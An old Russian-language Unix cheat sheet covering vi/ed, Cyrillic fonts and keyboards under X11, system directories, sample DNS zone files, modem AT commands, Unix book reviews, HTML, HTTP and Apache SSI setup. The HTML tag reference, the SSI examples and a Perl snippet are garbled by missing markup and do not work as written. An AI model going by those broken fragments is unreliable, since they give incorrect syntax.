&dDПОИСК_С_ЗАМЕНОЙ&d@ :s/рег_выраж/замена/gc - глобальный с подтверждением :Q/vi вход / выход в режим ed :g/строка - поставить визуальный фильтр :+5 движение по файлу &dD &d@ &dDРЕДАКТОР_ED. Вход ":" (надолго "Q") Выход "CR" / (VI)&d@ ^^ Перейти в альтернативное окно :[1,$] w [>>] [file] записать в file [от 1 до $ строки] :q[!] закончить сеанс [форсированно] :[15]r [file] или [!komanda] вставить после [15] стр :e редактировать новый файл :n редактировать следующий файл :sh выйти в Shell :! команда запустить на выполнение Shelloм &dD &d@ &dDУСТАНОВКА РЕЖИМОВ VI&d@ :set nu / nonu нумеровать/ненумеровать строки :set smd{CR} показывать текущий режим EXINIT="конфигурационные команды" - переменная окружения .exrc - файл с командами конфигурации . &dDКак подключить русские фонты к компьютеру с X11&d@ 1. Создаем каталог cyrfonts. Копируем туда файлы *.bdf или *.pcf mkdir cyrfonts cp *.bdf *.pcf cyrfonts Замечание: предпочтительно добыть фонты в формате PCF а не BDF Проблема в том, приложение заказывает размер фонта, которого у X или FONT-сервера нет, то FONT-сервер пытается скалировать и в случае .BDF погибает и убивает все, что под ним запущено. Конвертировать bdf-фонты можно командой bdftopcf. 2. В каталоге с фонтами создаем оглавление фонтов для X-server'а : fonts.dir cd cyrfonts mkfontdir 3. Указываем X-server'у, чтоб он брал фонты из нашего каталога xset +fp $HOME/cyfonts xset fp rehash 4. Пользуемся русскими фонтами. xterm -fn koi9x15 mailtool -fn koi6x10 и т.д. &dDЧтобы русские фонты включались и находились по умолчанию&d@ 5. До запуска X-Windows установить переменную окружения FONTPATH Если у вас Bourne Shell /bin/sh или bash или ksh FONTPATH=$HOME/cyrfonts: export FONTPATH Если судьба угораздила пользоваться C-Shell /bin/csh или tcsh setenv FONTPATH $HOME/cyrfonts: 6. Или скопировать фонты в директорию со стандартными фонтами. cp *.bdf /usr/lib/X11/fonts/misc cd /usr/lib/X11/fonts/misc mkfontdir xset fp rehash 7. Если у вас XFree, то добавить строчку в файл /etc/X11/XF86Config FontPath "/home/yourname/cyrfonts/" 8. Установить фонт по умолчанию в своем .Xdefaults файле. Добавить в файл .Xdefaults такие строчки: font.name: koi9x15 icon.font.name: koi6x10 XTerm*font: koi6x10 XTerm*VT100*font1: koi6x10 XTerm*VT100*font2: koi8x13 XTerm*VT100*font3: misc16 XTerm*VT100*font4: misc24 XTerm*VT100*font5: demos8x14 XTerm*VT100*font6: demos8x16 emacs.font: koi9x15 emacs.default_font: koi9x15 &dDЕсли у вас SunOs 4.1.1 и, соответственно, NeWS&d@ Тогда вся вышеописанная процедура не сработает. У NeWS совершенно собственный формат фонтов. 1. Преобразуем фонты в формат NeWS convertfont *.bdf 2. Создаем оглавление для NeWS server'а bldfamily 3. Подключаем фонты в точности, как в стандартном X11 xset +fp `pwd` # Дополняем каталог, подключаем фонты. xset fp rehash # Чтоб сервер перезачитал каталоги с фонтами все. Еще можно в файл Synonims.list воткнуть строчку с aliaсами. Иначе фонты будут браться только по имени файлов. &dDРедактирование фонтов.&d@ Некоторые комплектты X-Windows имеют редактор фонтов. Он может называться xfed, fontedit, xfd. Если у вас такового нет, попробуйте найти исходники. xfed font.bdf convertfont -v font получаем font.vfp fontedit font.vfp затем convertfont -b ?? font.vfp и получаем font.ff &dDПодключение русской клавиатуры в X-Windows&d@ Достаньте файлы с раскладкой клавиатуры. (Их можно найти во многих местах, в частности здесь). Выполните команду xmodmap файл-с-раскладкой.xmm Переключатель рус/лат - клавиша CapsLock Чтобы отключить русскую клавиатуру, выполнитте команду xmodmap default.xmm &dDПодключение русской клавиатуры в XFree86&d@ XF86Config: Section Keyboard LeftAlt Meta AltGr ModeShift Right_Ctl ModeLock ScrollLock ScrollLock EndSection Вешает переключатель на правый Ctrl, при этом еще и лампочка CapsLock будет загораться. &dDПереключатель кирилицы в XFree86 3.2.2&d@ В свежей версии Xfree_3.3.2 переключатель кирилицы встроенный с раздачи, раскладка йцукен переключатель задается в /etc/X11/XFconfig Section "Keyboard" # XkbDisable Protocol "Standard" XkbRules "xfree86" XkbModel "pc101" XkbLayout "us" XkbOptions "grp:shift_toggle" EndSection Варианты переключателей: grp Group Shift/Lock behavior grp:switch R-Alt switches group while pressed grp:toggle Right Alt key changes group grp:shift_toggle Both Shift keys together change group grp:ctrl_shift_toggle Control+Shift changes group grp:ctrl_alt_toggle Alt+Control changes group &dDПодключение русской клавиатуры в OpenWindows на SUN&d@ Возьмите файл с раскладкой для SUNа (например у меня), поместите в своем домашнем каталоге под именем .keytable и запустите openwin. Переключатель рус/лат - клавиша правый AltGraph &dDПодключение русской клавиатуры в DT/CDE HP-UX&d@ keymap_ed -i 1101 &dDЧтоб bash воспринимал русские буквы с клавиатуры&d@ Вписать в $HOME/.inputrc строки set meta-flag on set convert-meta off set output-meta on Или вписать в .profile строки LC_CTYPE=iso_8859_1 export LC_CTYPE LC_LOCALE=iso_8859_1 export LC_LOCALE LESS="-e -r" export LESS # чтоб лесс показывал русские буквы &dDГде все лежит&d@ См. каталог русификации ? ../CYRILLIC/ &dDЕсли что-то не получилось.&d@ 1. Если у вас Solaris 2.3, то: Во всех "родных" (которые не X11) Sun'овских программах русских букв не будет. Как то: textedit, cmdtool, mailtool 2. Поставьте свежий Solaris 2.5 или 2.4. Если не можете, то используйте вместо них emacs, xterm, xedit. 3. Или разбирайтесь самостоятельно с такими понятиями как ctype, LC_LOCALE, LC_CTYPE, -lc_basic_locale , NLS, and so on. хотя все же можете попробовать: LC_LOCALE=iso_8859_1 export LC_LOCALE LC_CTYPE=iso_8859_1 export LC_CTYPE LANG=iso_8859_1 export LANG &dDРусификация Netscape&d@ В Netscape 3 уже реализован encoding koi8-r. Достаточно установить комплект фонтов koi8-r (заалиасенные as iso8859-1), и виндовские, заалиасенные as Family (Mswin)-*-iso8859-1 А затем выбрать Доцумент енцодинг кои8-р и поставить для него русские фонты. &dDЧтоб отправляемая почта уходила с полем charset=koi8-r&d@ Вставить в .Xdefaults строчки: Netscape*defaultCharset: koi8-r Netscape*localeCharset*C: koi8-r Netscape*localeCharset*koi8-r: koi8-r Netscape*localeCharset*koi8-u: koi8-r Netscape*localeCharset*ru: koi8-r Netscape*localeCharset*ru_SU: koi8-r Netscape*localeCharset*ru_SU.KOI8-R: koi8-r &dDА еще я умею русифицировать, но не написал инструкции:&d@ Системная консоль Linux - подключение русских шрифтов на экране и переключателя клавиатуры на правый ALT. &dDКирилизация Applixware&d@ Applixware - огромный (140Mb) оффисный пакет под Unix (Соларис/AIX/Linux/SCO/...), в котором есть все, что полагается - вордпроцессор, электронные таблицы, image-editor, веб-броузер, html-редактор, почтовый клиент и т.д. Пользоваться им не собираюсь, мне достаточно Winword-6 в WABI 2.2b Кирилизацию Applixware описал Виктор Колосов http://triton.itep.ru/ru/skynet/system.html ? http://triton.itep.ru/ru/skynet/system.html > Простой и очевидный способ добавления TTF-шрифтов в Applix-e - через меню, > сожалению, приводит к заметной на глаз кривизне букв при печати > (для TTF). Поэтому там описано как то же самое сделать через PostScript. From: Василий Егошин По-моему на этой страничке все слишком сложно. Я проще поступил: с помощью Applix'овского фонт-инсталлера прикрутил виндовские ttf'ы и на этом в принципе и все :) И отображается и печатается все на ура. (Причем обмен с вордом через rtf - без проблем). Единственное неудобство - ttf'ы должны быть параграфовские - с юникодными работать не будет, т.к. там русские символы начинаются с кодов 400 (вроде бы). . &dDПутеводитель по конфигурационным файлам Unix&d@. Корневой каталог "/" bin - каталог наиболее употребительных команд пользователя. sbin - утилиты системного администратора это все, что у него будет в однопользовательском режиме dev - "устройства" - специальные файлы etc - место для конфигурационных файлов tmp - каталог временных файлов - для системы и для пользо- вателей. Чистится при каждой загрузке. lib - библиотеки и файлы, используемые компиляторами, раз- деляемые библиотеки shlib - разделяемые библиотеки usr - страшно говорить, но чего там только нет mnt - "дежурный" каталог, для подмонтирования файловых систем var - изменяемые конфигурационные и служебные файлы home - здесь живут "userы" export - "экспортируемые" файлы. В частности, содержит файловые системы для бездисковых клиентов, монтирующих их по NFS proc - псевдо-файловая система отображает состояние запущенных процессов stand - раздел с загрузочными файлами (unix, kdebug) tftpboot "загрузчики" для бездисковых клиентов unix - ядро операционной системы. - обыкновенный выполняемый файл. Возможно, что лежит он не в /, и называется по другому (например vmunix, vmlinuz) lost+found - каталог, куда при ремонте файловой системы склады- ваются файлы, "потерявшие" свои имена. Каталог /etc - место для конфигурационных файлов -------------------------------------------------- passwd здесь определены все пользователи shadow их пароли (в закодированном виде) group группы пользователей aliases синонимы почтовых адресов локальных пользователей ftpusers список пользователей, на которых нельзя ftp-иться shells список нормальных "shell'ов" issue файл, содержимое которого выдается на экран перед приглашением к входу в систему. motd файл, содержимое которого выдается на экран после приглашения к входу в систему. ttydefs параметры терминальных линий TIMEZONE файл с информацией о часовом поясе, в котором находится компъютер uucp конфигурационные файлы системы UUCP mail конфигурационные файлы системы mailx/sendmail vfstab таблица монтируемых файловых систем dfs/dfstab таблица экспортируемых в NFS каталогов auto_home карты автоматически монтируемых каталогов для automount auto_master format.dat параметры всех возможных дисков hosts имена и IP адреса локальных host'ов networks задает символические имена IP сетей netmasks net маски IP сетей ethers ethernet'ные адреса бездисковых клиентов hosts.equiv список host'ов, которым позволено делать у нас rsh defaultdomain задает NDS домен resolv.conf кто служит нам DNS сервером inetd.conf конфигурационный файл inetd демона services соответствие номеров TCP портов их символическим именам named.boot стартовая конфигурация сервера DNS inittab схема работы процесса init. rc0.d/ каталоги с командными файлами, которые запуска- rc2.d/ ют при переходе на/с соответствующего уровня rc3.d/ выполнения init.d/ а этом каталоге лежат копии ВСЕХ таких файлов вместе rc0, rc2, rc3 Командные файлы, которые их запускают magic Таблица с "магическими числами". Используется коман- дой file для определения типа бинарного файла. termcap файл с описаниями терминалов в формате termcap wtmp Файл с информацией о сеансах работы пользователей в системе. Рекомендуется иногда опустошать его. Каталог /usr sadm - файлы системного администратора adm - накапливаемая информация о работе системы и пользователей bin - утилиты sbin - утилиты системного администратора ucb/bin - утилиты, характерные для BSD Unix mail - каталог почтовой службы. man - документация системы в man формате tmp - временные файлы. Очищается при загрузке include - include файлы для компилятора C lib - библиотеки - системные, пользовательские, разделяемые и статические, а так же многие служебные каталоги начинаются отсюда. /usr/lib/acct утилиты для сбора статистики /usr/lib/terminfo база данных с описаниями терминалов. /usr/lib/lp каталог системы LP спулинга печати /usr/lib/uucp каталог системы UUCP пересылки файлов по модему spool - место для служебных временных файлов /usr/spool/lp каталоги для работы системы спулинга печати /usr/spool/cron/crontabs команды, выполняемые по расписанию /usr/spool/cron/atjobs поставленные на выполнение /usr/spool/uucp спулинг системы uucp /usr/local - GNU-сный каталог /var - локальные служебные файлы /var/yp/Makefile - конфигуратор NIS /var/named - карты описания DNS . &dDПример конфигурационных файлов DNS для standalone сети&d@. Задача: сконфигурировать DNS-сервис в отдельностоящей локальной сети. домен: foms.msk.ru адреса: 198.8.3.0 адреса: 198.8.2.0 DNS сервер: server.foms.msk.ru Для этого нужно заполнить файлы: /etc/named.boot /var/named/named.root /var/named/127.0.0.0 /var/named/foms.msk.ru /var/named/foms-hosts-spisok /var/named/198.8.2.0 /var/named/198.8.3.0 и запускать при начальной загрузке демона /sbin/in.named Примерное содержание конфигурационных файлов приведено ниже. Переделайте их под конкретную конфигурацию вашей сети. Приблизительная идеология такова: сервис DNS поддерживается демоном named. Named при старте считывает файл стартовой конфигурации /etc/named.boot . В нем указывается, как зовется наш домен, и в каких файлах лежат описания имен хостов нашего домена (параметр primary). Мы должны локально поддерживать три карты описаний: foms.msk.ru - все хосты нашего домена. 3.8.198 - "обращенная" карта нашего домена (просто переворачиваем наши IP-адреса задом наперед) 0.0.127 - зачем требуется еще карта нашей "local-network" известно только разработчикам DNS, однако ее тоже нужно описать. в /etc/named.boot записано, в каких файлах лежат описания доменов, named их считывает, и начинает вещать на весь мир. ;############## ? /etc/named.boot ############################# ; type domain source host/file backup file ; directory /var/named cache . named.root primary 0.0.127.in-addr.arpa 127.0.0.0 primary foms.msk.ru foms.msk.ru primary 3.8.198.in-addr.arpa 198.8.3.0 primary 2.8.198.in-addr.arpa 198.8.2.0 ; Зоны, для которых мы служим резервным name-сервером secondary gatelink.fr 134.214.100.1 secondary/gatelink.fr secondary 214.134.in-addr.arpa 134.214.100.1 secondary/134.214.0.0 ;############## конец файла ################################### ;############## ? /var/named/named.root ####################### ; Initial cache data for root domain servers 1-may-98 ;;;;Get it from ? /ftp@FTP.RS.INTERNIC.NET:/domain/named.root;; . 99999999 NS A.ROOT-SERVERS.NET . 99999999 NS B.ROOT-SERVERS.NET . 99999999 NS C.ROOT-SERVERS.NET . 99999999 NS D.ROOT-SERVERS.NET . 99999999 NS E.ROOT-SERVERS.NET . 99999999 NS F.ROOT-SERVERS.NET . 99999999 NS G.ROOT-SERVERS.NET . 99999999 NS H.ROOT-SERVERS.NET . 99999999 NS I.ROOT-SERVERS.NET . 99999999 NS J.ROOT-SERVERS.NET . 99999999 NS K.ROOT-SERVERS.NET . 99999999 NS L.ROOT-SERVERS.NET . 99999999 NS M.ROOT-SERVERS.NET A.ROOT-SERVERS.NET internet address = 198.41.0.4 B.ROOT-SERVERS.NET internet address = 128.9.0.107 C.ROOT-SERVERS.NET internet address = 192.33.4.12 D.ROOT-SERVERS.NET internet address = 128.8.10.90 E.ROOT-SERVERS.NET internet address = 192.203.230.10 F.ROOT-SERVERS.NET internet address = 192.5.5.241 G.ROOT-SERVERS.NET internet address = 192.112.36.4 H.ROOT-SERVERS.NET internet address = 128.63.2.53 I.ROOT-SERVERS.NET internet address = 192.36.148.17 J.ROOT-SERVERS.NET internet address = 198.41.0.10 K.ROOT-SERVERS.NET internet address = 193.0.14.129 L.ROOT-SERVERS.NET internet address = 198.32.64.12 M.ROOT-SERVERS.NET internet address = 202.12.27.33 ;############## конец файла ################################### ;############## ? /var/named/127.0.0.0 ############ ; local dns file local.reverse 0.0.127.in-addr.arpa ; @ IN SOA server.foms.msk.ru. moshkow.server.foms.msk.ru. ( 94061801 ; Serial (yymmddxx) 10800 ; Refresh 3 hours 3600 ; Retry 1 hour 3600000 ; Expire 1000 hours 86400 ) ; Minimum 24 hours IN NS server.foms.msk.ru. 1 IN PTR localhost. ;############## конец файла ################################### ;############## ? /var/named/foms.msk.ru ############ ; foms.msk.ru zone hosts file for DNS-server server.foms.msk.ru ; @ IN SOA server.foms.msk.ru. moshkow.server.foms.msk.ru. ( 95031802 ; Serial (yymmddxx) 10800 ; Refresh 3 hours 3600 ; Retry 1 hour 3600000 ; Expire 1000 hours 86400 ) ; Minimum 24 hours NS server.foms.msk.ru. NS ns2.msk.ru. MX 0 server.foms.msk.ru. ; MX 20 mail.msk.ru. ; MX 30 mailhost.kiae.su. localhost A 127.0.0.1 $INCLUDE /var/named/primary/foms-hosts-spisok ;; Если хотите отпустить свой поддомен *.develop.foms.msk.ru ;; на выселки, самостоятельно поддерживать свой домен. ;margo.develop IN A 193.95.100.4 ;develop IN NS margo.develop.foms.msk.ru. ;############## конец файла ################################### ;############## ? /var/named/foms-hosts-spisok ######## ;;;;;;;;;;;; Hosts in foms.msk.ru zone ;;;;;;;;;;;;;;;;;;;;;;;; ; Our main server with DNS, ftp, gopher, www, mailrelay, NFS, ; server A 198.8.2.1 ; e1x70 ethernet A 198.8.3.1 ; m3760 ethernet A 193.124.158.33 ; sl0 slip link MX 0 mailrelay HINFO Motorola88/110 "SVR4.1/88" WKS 198.8.2.1 UDP ( time domain name ) WKS 198.8.2.1 TCP ( echo telnet hostnames domain ) mailrelay CNAME server ftp CNAME server fedfond CNAME server ; Host s20 ; s20 A 198.8.2.20 MX 0 mailrelay MX 20 linux HINFO Besta/31 UNIX-V.3 besta CNAME s20 ; Host pcat101 ; pcat101 A 198.8.2.101 MX 0 mailrelay HINFO PC486/66DX2 "MSDOS 6.2" pc101 CNAME pcat101 guest CNAME pcat101 ; Host pcat106 ; pcat107 A 198.8.3.107 ; eth0 A 193.124.158.34 ; sl0 slip link MX 0 pcat107 MX 10 mailrelay HINFO PC486/66DX2 "Linux 1.2.1" pc107 CNAME pcat101 linux CNAME pcat101 ;############## конец файла ################################### ;############## ? /var/named/primary/198.8.2.0 ########## @ IN SOA server.foms.msk.ru. moshkow.server.foms.msk.ru. ( 94102501 ; Serial 10800 ; Refresh 3 hours 3600 ; Retry 1 hour 3600000 ; Expire 1000 hours 86400 ) ; Minimum 24 hours NS server.foms.msk.ru. ; Reverse-name [ttl] PTR Real-name-dot ; 1 PTR server.foms.msk.ru. 20 PTR s20.foms.msk.ru. 101 PTR pcat101.foms.msk.ru. ;############## конец файла ################################### ;############## ? /var/named/primary/198.8.3.0 ########## @ IN SOA server.foms.msk.ru. moshkow.server.foms.msk.ru. ( 94102501 ; Serial 10800 ; Refresh 3 hours 3600 ; Retry 1 hour 3600000 ; Expire 1000 hours 86400 ) ; Minimum 24 hours NS server.foms.msk.ru. ; Reverse-name [ttl] PTR Real-name-dot ; 1 PTR server.foms.msk.ru. 106 PTR pcat106.foms.msk.ru. 107 PTR pcat107.foms.msk.ru. ;############## конец файла ################################### . &dDКнижки про Unix&d@ Рекомендуются любые книги в твердой обложке импортных авторов в переводе на русский, ОСОБЕННО переводы книг издательства O'Raily, все остальные (за редчайшим исключением) - не рекомендуются. Т.е., написанные совками (ибо учебники должны писать профессиональные преподаватели, а не профессиональные программисты) и в мягкой обложке (естественно, не считая издательства O'Raily) На русском есть: &dDКерниган, Пайк&d@ Керниган, Пайк, название почему-то перевели как "UNIX - универсальная среда программирования". Warning! При наборе русского издания наляпали ОКЕАН ачипяток и ашипок в части regex и не только. Читать ее imho надо в параллель с manpages, отдавая оным приоритет в стремных ситуациях. Не смотря на это - отличная книжка. Мне было даже интересно ее читать. &dDГотье&d@ Готье "Руководство по операционной системе UNIX". Точнее, SysV.release-unknown. Но тоже ничего для начала. &dDБаурн&d@ Баурн (название я забыл) хорошая книжка и troff описан. Старая, из серии "со стрелочками" из-ва "Мир". &dDИнмос85&d@ Беляков Рабовер Фридман -- что-то на тему Инмос85. Интересно почитать. Но сильно устарела. МОЖНО НЕ ЧИТАТЬ &dDМорис Дж. Бах. Архитектура операционной системы Unix&d@ Очень толково и доступно описаны "потроха" - идеи и алгоритмы реализации ядра. Описание Unix изнутри. Написана на "языке C" с комментариями. Книга весьма старая, но тем не менее тем, кто захочет узнать больше - ЧИТАТЬ РЕКОМЕНДУЮ. Бах Морис -- русский перевод его книги ходил в виде 480Кб архива. ? ../BACH/ &dD"Мобильная опер. система"&d@ Беляков и Co. "Мобильная опер. система" (оранжевая книжечка в мягкой обложке) -- компиляция из POSIX стандартов времен ок. 1989г. Маленькая такая, хороша как справочник. и еще довольно много других... &dD"UNIX/руководство системного администратора"&d@ "UNIX/руководство системного администратора", Эви Немет, Гарт Снайдер, Скотт Сибас, Трент Р.Хент. Киев, bhv, 1997. 830 стр., 50 тр. Очень, очень достойная книжка. Помогает почти от всех болезней. Единственное, что отсутствует - Интернет security, а ВСЕ остальное есть. ОБЯЗАТЕЛЬНО КУПИТЬ. &dD"Linux/введение в операционную систему"&d@ Автора выясню позже. Киев, bhv, 1997. 760 стр. Издательство bhv, известное выпоском нескольких высококласных книг по Unix, на этот раз напечатало откровенную халтуру. Оригинал был весьма могословен и неряшливо написан. Перевод еще хуже оригинала. КАТЕГОРИЧЕСКИ НЕ РЕКОМЕНДУЮ. &dD * Где купить * &d@ &dDИздательство BHV"&d@ За последнее время издало несколько очень качественных переводных книг по Unix и Internet "BHV - Москва" 270-2032 1. "Дом технической книги" Ленинский пр., 40 (095) 137 6019 0633* 2. "Библио-Глобус" ул. Мясницкая, 6 (095) 928 8744 3. "Молодая Гвардия" ул. Б. Полянка, 28 (095) 238 0032 5001* 4. "Центр-Техника" ул. Петровка, 15 (095) 924 3624 5. ТД "Москва" ул. Тверская, 8 (095) 229 7355 6. "Дом книги" ул. Новый Арбат, 8 (095) 203 8242 7. "Дом педагогической ул. Большая Дмитровка, (095) 229 4392 книги" 7/5 8. "Мир" Ленинградский пр., 78 (095) 152 8282 9. "Новый" ш. Энтузиастов, 24 (095) 362 0923 10. "РиС" ул. Красного маяка, 11 (095) 313 8345 11. "Ридас" Новоданиловская наб., 9 (095) 954 3044 12. "Кнорус" Милютинский пер., 19/4 (095) 928 6269 13. "Мидикс" Ленинский пр., 29 (095) 955 4101 14. "Десс" Рогожский вал, 15 (095) 366 9295 ______________________________________________________ * - телефоны, где что-то могут сказать про наличие книг ЛИТЕК - мелкооптовая торговля от "КноРуса" 911-9863 911-9742 ул. Николо-Ямская, 45 под.2. Идти от м.Таганская кольцевая, по Садовому кольцу вниз до б.Дровянного пер, завернуть туда и до упора в ул. Николо-Ямскую. Перейти улицу и направо до 45 дома(там меховое ателье) вход со двора. Полуподвал Информацию и можно получить http://www.book.ru ? http://www.book.ru http://www.bhv.ru ? http://www.bhv.ru &dDКниги о Linux&d@ Алгоритм такой: пойти в крупный книжный, взять там все книжки по линуксу, какие есть, потом попытаться каждую из них почитать 5-10 минут. Если от книжки не тошнит - то ее вполне можно брать. . &dDНесколько управляющих команд Hayes-совместимого модема&d@ (Компиляциия из документации модемов ZyXEL 1496*, GVC-1440) AT&F0 Factory setting Или на ZyXEL включить модем с нажатой кнопкой Enter или Data/Voice ATZ0 Загрузить profile 0 AT&V Распечатать setup AT&W0 Сохранить setup в profile 0 AT&Y0 При включении загружать profile 0 ATE0 Выключить эхо atdpТЕЛЕФОННЫЙ НОМЕР Пульсовый набор номера +++ Выйти из connect'а в командный режим ATO Вернуться из командного режима в CONNECT ATH Положить трубку ATA Поднять трубку и ответить на звонок ATS0=2 Снимать трубку после 2-го звонка &dDКоманды, которые обычно и сами по себе установлены&d@. AT&P1 Make / break 33/67 (Europe) ATQ0 Возвращать код возврата ATV1 Код возврата текстовый &dDКоманды, которые возможно захочется установить&d@. AT&L1 В режим выделенных линий AT\N5 Запретить соединение БЕЗ сжатия MNP5 или V42bis ATB6 Поставить скорость 2400 и ниже ATL0 Самый тихий звук ATM0 Speaker always off &dDКоманды GVC-1440&d@ B_ B1 Bell mode (*) B2 Autoscan mode D_ R originate call in answer mode W whait for second dialtone , pause @ wait for 5 seconds silence ! flash ; return to command mode after dialing H 1 make busy I [0-4] info L 2 medium speacker M 0 internal speacker off 1 internal speacker on until carrier 2 3 O 0 return to data mode 1 return to data mode and initiate equaliser retrain Регистры s0 autoanswer ring 0 s1 ring counter 0 s2 Escape code character + s3 CR character 13 s4 LF character 10 s5 BS character 8 S6 dial tone whait time 2 sec S7 remote carrier whait time 45 sec s8 comma pause time 2 sec s9 carrier dettect responce time 6 *1/10 sec s10 carrier loss time 14 *1/10 sec s11 touch tone dialing speed 95 ms s12 esc character detect time 50 1/50 sec s14 bitmap s16 bitmap s18 modem test timer 0 s21 bitmap s22 bitmap s23 bitmap s25 DTR delay 5 sec s26 RTS to CTS delay interval 1 *1/100 sec s27 bitmap s28 bitmap . &dDКонфигурирование сервера HTTPD и формат языка HTML&d@ Внимание Этот текст будет слегка более доступным для понимания, если вы посмотрите на него в исходном виде - &dD"Document source"&d@ &dDФайлы в каталогах с документами&d@ index.html Если просят выдать каталог, то выдают index если его нет, выдается просто оглавление каталога HEADER.html Его содержимое добавляется перед началом листинга README.html Его содержимое добавляется к концу листинга .htaccess Управляющий файл с локальными настройками текущей директории Разобраться стоит с этими характеристиками: Alias - где то должна лежать расшифровка. а сервер будет ее подставлять. Вот только где ? &dDСпецсимволы:&d@ Нужно задавать так: & - & " - " > - > < - < >> - >> << - << (C) - © или © (R) - ® - — - – <= - <= >= - >= Extra space -   &dDЗаголовки&d@ Заголовок всего документа

Заголовок 2-го уровня

Ссылка на подраздел в документе Ссылка открываемая в другом окне Так это место должно быть помечено в Документе &dDНенумерованный список (Unnumbered list)&d@
  • Одна позиция
  • Другая позиция
&dDПронумерованный список (Numbered list)&d@
  1. Первая позиция
  2. Вторая позиция
&dDЕсть так же и более "мелкие" списки:&d@
  • 1
  • 2
  • ,
  • 1
  • 2
  • &dDСписки с подзаголовками (Definition list)&d@
    Название пункта
    Текст, расписывающий содержимое пункта
    Название пункта
    Текст, расписывающий содержимое другого пункта
            Преформатированный     фрагмент текста
    
            Преформатированный     фрагмент текста в ширину 80
    
    
    
    Устанавливает общий отступ вправо. Вынесенный вправо фрагмент текста
    Горизонтальная черта
    Окончание параграфа

    Жесткий конец строки
    Текст между этими тагами не будет переноситься на новую сторку каким бы длинным он не был &dDФизические стили&d@ Bold жирный текст Itallic курсив текст Underline подчеркнутый Работает только в Netscape 3 Typewriter текст с фонтом фиксированной ширины Blink мигающий текст Strike перечеркнутый текст &dDЛогические стили&d@ Definition. Определяемое слово italic Emphasis. Ударение italic Titles of books. Цитата italic Programm. Программный текст fixed User keyboard entry. bold fixed Status message fixed Variable. italic Strong emphasis. bold

    Выделяется адрес italic
    &dDУправление цветами и фонтами&d@ _BODY_ таги срабатывают только если расположены в самом начале документа А так устанавливают собственные цвета во всем документе А так делали траурные колера, когда протестовали. Текст бОльшего размера, и покрашенный в красный цвет, с заданным типом фонта Дальше пойдет текст с фонтом заданного размера а так же background звук &dDТак выглядит обычная ссылка.&d@ Low impact

    &dDТак вставляют картинку&d@ Если нужен текст сбоку от картинки Отступ текста от картинки ALT - что написать, если картинка не читается, LOWRES - перед рисованием большой картинки загрузить эту - маленькую Так подкладывают BACKGROUND &dDТаблички -&d@
    tr - задает строку СтолбецСтолбец
    Внутри таблицы может быть такой таг, Подзаголовок?
    Табличка фиксированной ширины,не зависящая от размеров внутреннего текста


    Back to my home page
    moshkow@ipsun.ras.ru
    
            &dDВстроенная imagemap&d@
    
    
    
    
    
    
    
    
    
    
    
    
    
    
            &dDО протоколе HTTP/1.*&d@
    
    Клиент  открывает  tcp соединение с хостом www.host.com на порт
    (обычно 80) и говорит туда
    
    GET /local/url/file/name.html HTTP/1.0
    Host: www.host.com
    Http_referer: url_документа_на_котором_стоял_клиент
    Еще некоторое количество заголовков,
    которые рассказывают серверу, кто с ним имеет дело.
    Все они, кроме GET необязательны
    . . .
    ^M^J       - пустая строка - конец заголовков - конец запроса
    
    Обратно вываливается ответ сервера:
    
    http-шные заголовки
    на нескольких строках
    ^M^J        - пустая строка
    Собственно запрошенный документ as is
    
    &dDУпражнение:&d@ скажите
    
    $ telnet www 80
    Trying 127.0.0.1...
    Connected to localhost.
    Escape character is '^]'.
    GET /index.html HTTP/1.0
    
    И потом два раза нажмите на Enter
    
    
            &dDКак работет докачка в HTTP/1.1 протоколе?&d@
    
         В запрос вставляется специальное поле "Range: bytes nnn-".
    Сервер с докачкой возвращает код 206 -  "Часть  содержимого"  и
    передает  запрошенную  часть файла. Если сервер не поддерживает
    докачки, он просто возвращает 200 и высылает весь файл как  при
    обычном запросе.
    
            &dDSSI - Server Side Includes&d@
    
    Полная спецификация лежит, например на www.apache.org ? http://www.module.vympel.msk.ru/mirror/apache/docs/mod_include.html
    
    0. Чтобы SSI-файлы взводили Last-modified, добавить в конфиг
    XBitHack full
    и сделать им chmod g+x file.shtml
    
    1. Чтобы  SSI  выполнялись,  необходимо  задать в конфигурационных
    файлах сервера:
    
    /etc/httpd/conf/access.conf :------------------------
      # "Включить"
    Options +Includes      # или даже Options All
    /etc/httpd/conf/srm.conf :------------------------
    
    AddType text/html .shtml
    AddHandler server-parsed .shtml
    
    2. Тогда SSI отрабатываются только в файлах с расширением .shtml
    
    Примеры:
    
    charset=
    
    
    
    
    
    
    The  value  will  often be enclosed in double quotes; many comн
    mands only allow a single attribute-value pair.
    
    The allowed ELEMENTS are:
    
    config  - параметры парсинга
        Атрибуты config
         errmsg  - сообщение об ошибке, посылаемое клиенту
         sizefmt - формат размера файла
         timefmt - формат даты модификации файла
         var     - напечатать имя переменной
    
    exec    - выполнить shell или CGI-скрипт
         cgi     - (%-encoded) URL relative path to the CGI script.
         cmd     - выполнить shell
    
    fsize   - напечатать размер файла
         file    - относительное имя файла
         virtual -(%-encoded) URL-path relative файла
    
    flastmod - последннее время модификации файла
    
    include  - вставить документ
         file    - вставляемый файл
         virtual - URL - только на этом же хосте
    
    Include variables
    
    These  are  available  for the echo command, and to any program
    invoked by the document.
    
    DATE_GMT
         The current date in Greenwich Mean Time.
    DATE_LOCAL
         The current date in the local time zone.
    DOCUMENT_NAME
         The filename (excluding directories) of the document requested
         by the user.
    DOCUMENT_URI
         The (%-decoded) URL path of the document requested by the user.
         Note that in the case of nested
         include files, this is not then URL for the current document.
    LAST_MODIFIED
         The last modification date of the document requested by the user.
    
    
    If server side includes are enabled, you will see data values below:
    
    The date is:                      
    The current version of the server 
    The CGI gateway version           
    The server name                   
    This file is called: This file's URI The query string This file was last modified: The size of the unprocessed file sample.html was last modified You are using You came from # Эмуляция SSI в perl-cgi if (//) { print $`;$tmp = $'; open (INC,"$inc") || die "Can't Open $inc: $!\n"; while () { if (//) { @time = localtime ( time() ); $time[4]++; if ($time[4] < 10) { $time[4] = "0" . "$time[4]"; } s//$time[3].$time[4].$time[5]/g; } print $_; } close(INC); print "$tmp"; } &dDУправление доступом через httpd.conf&d@ SetEnvIfNoCase Referer rusf\.ru internal_referer SetEnvIfNoCase User-Agent Teleport internal_referer SetEnvIfNoCase User-Agent Vampire internal_referer SetEnvIfNoCase User-Agent ReGet internal_referer SetEnvIfNoCase User-Agent GetRight internal_referer SetEnvIfNoCase User-Agent Wget internal_referer ErrorDocument 403 http://rusf.ru/books/index.htm order deny,allow deny from all allow from env=internal_referer # No offline browsers в robots.txt User-Agent: DISCo Pump, Wget, WebZIP, Teleport Pro, WebSnake, Offline Explorer, Web-By-Mail Disallow: / &dDCGI - спецификация интерфейса между сервером httpd&d@ и внешними, вызываемыми программами - gateeway'ями. Сам 